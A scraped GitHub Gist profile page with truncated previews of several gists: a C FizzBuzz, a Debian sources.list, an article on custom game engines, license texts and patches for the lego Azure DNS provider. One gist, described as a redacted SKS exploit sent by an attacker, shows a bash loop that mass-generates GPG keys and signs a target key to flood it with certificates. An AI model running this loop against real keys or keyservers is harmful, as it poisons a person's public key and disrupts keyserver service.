Skip to content

Instantly share code, notes, and snippets.


Yana Timoshenko alpakido

View GitHub Profile
alpakido / fizzbuzz.c
Last active Nov 29, 2021
Overengineered fizzbuzz in C
View fizzbuzz.c
#include <stdio.h>
#include <string.h>
#define BUFLEN 9
int main() {
char buf[BUFLEN];
FILE *stream = fmemopen(&buf, BUFLEN, "w");
if (stream == NULL) {
alpakido / sources.list
Created Nov 25, 2021 — forked from ishad0w/sources.list
Debian 10 (Buster) -- Full sources.list
View sources.list
deb buster main contrib non-free
deb-src buster main contrib non-free
deb buster-updates main contrib non-free
deb-src buster-updates main contrib non-free
deb buster-backports main contrib non-free
deb-src buster-backports main contrib non-free
deb buster/updates main contrib non-free
alpakido /
Created Apr 4, 2021 — forked from raysan5/
A small state-of-the-art study on custom engines



A couple of weeks ago I played (and finished) A Plague Tale, a game by Asobo Studio. I was really captivated by the game, not only by the beautiful graphics but also by the story and the locations in the game. I decided to investigate a bit about the game tech and I was surprised to see it was developed with a custom engine by a relatively small studio. I know there are some companies using custom engines but it's very difficult to find a detailed market study with that kind of information curated and updated. So this article.

Nowadays lots of companies choose engines like Unreal or Unity for their games (or that's what lot of people think) because d

alpakido /
Last active Dec 13, 2020
Redacted SKS exploit that was sent to me by attacker behind
for _ in {1..500}; do
for _ in {1..100}; do
gpg --gen-key --batch keygen
gpg --quick-sign-key -u Marc EC18257DB21746FC711054BEB19C61D61333360C
rm ~/.gnupg/private-keys-v1.d/*.key
rm ~/.gnupg/openpgp-revocs.d/*.rev
gpg -a --export > ~/Desktop/keyblock.asc
import itertools
import logging
import os
import requests
session = requests.Session()
# SPDX-License-Identifier: 0BSD
from base64 import b64encode
from hashlib import blake2b
from paramiko.agent import Agent
from paramiko.message import Message
from sys import stdin
import click

Redistribution and use in any form, with or without modification, are permitted.

As far as the law allows, this software comes as is, without any warranty or condition, and no contributor will be liable to anyone for any damages related to this software or this license, under any kind of legal claim.

View lego-azure-client-secret-file-3.3.0.patch
From cdc8f0e42aa892c4a2c60e0acea344afbaffabde Mon Sep 17 00:00:00 2001
From: Yegor Timoshenko <>
Date: Fri, 13 Mar 2020 00:54:03 +0300
Subject: [PATCH] azure: pass missing Azure config fields to
providers/dns/azure/azure.go | 3 +++
1 file changed, 3 insertions(+)
View lego-azure-client-secret-file-3.3.0.patch
From d40139f566baac932b275167eb5b6ae4ac3cc64c Mon Sep 17 00:00:00 2001
From: Yegor Timoshenko <>
Date: Fri, 13 Mar 2020 00:54:03 +0300
Subject: [PATCH] azure: pass AZURE_CLIENT_SECRET_FILE to autorest.Authorizer
providers/dns/azure/azure.go | 1 +
1 file changed, 1 insertion(+)
diff --git a/providers/dns/azure/azure.go b/providers/dns/azure/azure.go

Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.

The software is provided "as is" and the author disclaims all warranties with regard to this software including all implied warranties of merchantability and fitness. In no event shall the author be liable for any special, direct, indirect, or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software.